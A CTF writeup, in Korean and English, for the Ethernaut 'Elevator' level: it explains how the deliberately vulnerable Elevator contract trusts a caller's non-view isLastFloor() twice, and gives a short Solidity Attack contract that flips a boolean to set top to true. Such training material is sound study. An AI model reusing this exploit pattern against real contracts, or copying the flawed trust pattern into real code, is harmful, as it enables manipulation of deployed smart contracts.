Ethernaut Writeup CTF/Wargame

Ethernaut 11 Elevator

Ethernaut 11 Elevator 문제 풀이Ethernaut 11 Elevator writeup

Contents

문제

지문

This elevator won't let you reach the top of your building. Right? Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

코드

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

배경지식


솔리디티에서 외부 컨트랙트를 호출하는 방법은 크게 high-level call과 low-level call로 나뉜다. 이 문제에서 쓰이는 방식은 high-level call이다. high-level call은 호출 대상의 ABI 또는 함수 시그니처를 알고 있을 때 사용한다. 전체 구현 코드를 몰라도 인터페이스만 맞으면 아래처럼 특정 주소를 그 인터페이스 타입으로 보고 함수를 호출할 수 있다.

solidity
interface Target {
    function someFunction(uint256 value) external returns (bool);
}

Target(addr).someFunction(1);

인터페이스는 함수의 형태만 약속한다. 실제로 그 함수가 어떤 값을 반환할지, 내부 상태를 바꿀지, 같은 입력에 대해 항상 같은 값을 줄지는 인터페이스만으로 보장되지 않는다.


msg.sender는 현재 함수를 직접 호출한 주소다. EOA가 바로 Elevator.goTo()를 호출하면 msg.sender는 EOA이고, 공격 컨트랙트가 Elevator.goTo()를 호출하면 msg.sender는 공격 컨트랙트 주소가 된다.

solidity
Building building = Building(msg.sender);

이 코드는 새로운 Building 컨트랙트를 배포하지 않고, msg.sender 주소를 Building 인터페이스 타입으로 해석해서 그 주소에 isLastFloor(uint256) 호출을 보내겠다는 뜻이다. 공격자가 직접 goTo()를 호출하지 않고 공격 컨트랙트를 통해 호출하면, Elevator는 공격 컨트랙트를 Building이라고 믿고 isLastFloor()를 실행한다.


Elevator는 isLastFloor(_floor)가 같은 입력에 대해 같은 값을 반환한다고 기대한다. 하지만 Building.isLastFloor에는 view가 붙어 있지 않다.

solidity
function isLastFloor(uint256) external returns (bool);

즉 호출된 컨트랙트는 isLastFloor() 안에서 자기 상태를 바꿀 수 있다. 그러면 첫 번째 호출에서는 false, 두 번째 호출에서는 true처럼 호출 순서에 따라 다른 값을 반환하는 구현이 가능하다.

문제 코드 분석


먼저 Building 인터페이스다.

solidity
interface Building {
    function isLastFloor(uint256) external returns (bool);
}

Building은 isLastFloor(uint256) 함수 하나만 요구한다. Elevator는 이 인터페이스를 통해 msg.sender에게 isLastFloor()를 호출한다. Elevator는 실제 구현체를 검증하지 않으므로, msg.sender가 어떤 컨트랙트든 함수 시그니처만 맞으면 호출이 진행된다. 따라서 공격 컨트랙트도 isLastFloor(uint256)만 구현하면 Building 역할을 할 수 있다.


다음은 goTo()다.

solidity
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}

흐름은 다음과 같다.

  1. msg.sender를 Building으로 캐스팅한다.
  2. building.isLastFloor(_floor)를 호출한다.
  3. 첫 번째 호출 결과가 false면 if문 안으로 들어간다.
  4. floor를 갱신한다.
  5. building.isLastFloor(floor)를 다시 호출하고, 그 결과를 top에 저장한다.

문제는 2번과 5번이 같은 외부 컨트랙트에 대한 호출이라는 점이다. 즉 외부 컨트랙트 코드가 두 번 실행된다. 외부 컨트랙트가 호출 횟수를 저장하고 있다면 두 호출의 반환값은 달라질 수 있다. 첫 번째 호출에서는 false를 반환해서 if문에 진입시키고, 두 번째 호출에서는 true를 반환해서 top을 true로 만들면 된다.


상태 업데이트 위치는 다음과 같다.

solidity
floor = _floor;
top = building.isLastFloor(floor);

floor와 top은 Elevator의 상태변수다. 공격 컨트랙트의 isLastFloor() 안에서 바꾸는 상태값은 공격 컨트랙트의 스토리지에 저장된다. 공격 컨트랙트가 자기 상태를 바꾸는 이유는 두 번의 isLastFloor() 호출에서 서로 다른 반환값을 만들 스위치가 필요하기 때문이다. 실제로 Elevator.top을 바꾸는 코드는 top = building.isLastFloor(floor); 이다.

풀이

공격 컨트랙트가 Elevator.goTo()를 호출하게 만들면 Elevator 입장에서 msg.sender는 공격 컨트랙트 주소가 된다. 그러면 Building(msg.sender).isLastFloor(...)는 공격 컨트랙트의 isLastFloor()를 실행한다. 공격 컨트랙트의 isLastFloor()는 내부 top 값을 매번 뒤집어서 반환한다. 초기값을 true로 두면 첫 번째 호출에서 false가 반환되어 if문에 들어가고, 두 번째 호출에서 true가 반환되어 Elevator.top이 true가 된다. Elevator는 외부 컨트랙트가 반환하는 값을 두 번 신뢰한다. 공격자는 그 외부 컨트랙트가 될 수 있고, 같은 함수가 호출 순서에 따라 다른 값을 반환하도록 만들면 된다.

익스플로잇

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator{
    function goTo(uint) external;
}

contract Attack{
    Elevator elevator;
    bool public top = true;

    constructor(address _addr) {
        elevator = Elevator(_addr);
    }

    function isLastFloor(uint) public returns(bool) {
        top = !top;
        return top;
    }
    
    function attack() public {
        elevator.goTo(1);
    }
}

Challenge

Prompt

This elevator won't let you reach the top of your building. Right? Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

Code

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Background


In Solidity, an external contract call is either a high-level call or a low-level call. This challenge uses a high-level call. A high-level call is used when you know the ABI or function signature of the call target. Even without the full implementation code, as long as the interface matches, you can treat a given address as that interface type and call its functions as below.

solidity
interface Target {
    function someFunction(uint256 value) external returns (bool);
}

Target(addr).someFunction(1);

An interface only fixes the shape of the function. It does not guarantee what the function returns, whether it changes internal state, or whether it returns the same value for the same input.


msg.sender is the address that directly called the current function. If an EOA calls Elevator.goTo() directly, msg.sender is the EOA; if an attack contract calls Elevator.goTo(), msg.sender becomes the attack contract's address.

solidity
Building building = Building(msg.sender);

This code does not deploy a new Building contract. It interprets the msg.sender address as the Building interface type, meaning it will send an isLastFloor(uint256) call to that address. If the attacker calls goTo() through an attack contract rather than directly, Elevator believes the attack contract is a Building and runs isLastFloor() on it.


Elevator expects isLastFloor(_floor) to return the same value for the same input. But Building.isLastFloor is not marked view.

solidity
function isLastFloor(uint256) external returns (bool);

So the called contract can change its own state inside isLastFloor(). That allows an implementation that returns a different value depending on call order, such as false on the first call and true on the second.

Analyzing the challenge code


First, the Building interface:

solidity
interface Building {
    function isLastFloor(uint256) external returns (bool);
}

Building requires just one function, isLastFloor(uint256). Elevator uses this interface to call isLastFloor() on msg.sender. Elevator does not verify the actual implementation, so the call goes through for any msg.sender whose function signature matches, and the attack contract can play the Building role by implementing only isLastFloor(uint256).


Next, goTo().

solidity
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}

The flow:

  1. Cast msg.sender to Building.
  2. Call building.isLastFloor(_floor).
  3. If the first call result is false, enter the if block.
  4. Update floor.
  5. Call building.isLastFloor(floor) again and store the result in top.

The problem is that steps 2 and 5 are calls to the same external contract. The external contract's code runs twice. If the external contract stores a call count, the return values of the two calls can differ. We make the first call return false to enter the if block, and the second call return true to make top become true.


The state updates happen here.

solidity
floor = _floor;
top = building.isLastFloor(floor);

floor and top are Elevator's state variables. The state value changed inside the attack contract's isLastFloor() is stored in the attack contract's storage. The attack contract changes its own state only to get a switch that produces different return values across the two isLastFloor() calls. The code that actually changes Elevator.top is top = building.isLastFloor(floor);.

Solution

If we make the attack contract call Elevator.goTo(), then from Elevator's point of view msg.sender becomes the attack contract's address. Then Building(msg.sender).isLastFloor(...) runs the attack contract's isLastFloor(). The attack contract's isLastFloor() flips its internal top value each time and returns it. Setting the initial value to true makes the first call return false (entering the if block) and the second call return true, so Elevator.top becomes true. Elevator trusts the value returned by the external contract twice. The attacker can be that external contract and make the same function return different values depending on the call order.

Exploit

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator{
    function goTo(uint) external;
}

contract Attack{
    Elevator elevator;
    bool public top = true;

    constructor(address _addr) {
        elevator = Elevator(_addr);
    }

    function isLastFloor(uint) public returns(bool) {
        top = !top;
        return top;
    }
    
    function attack() public {
        elevator.goTo(1);
    }
}

Esc

Search titles, content and code.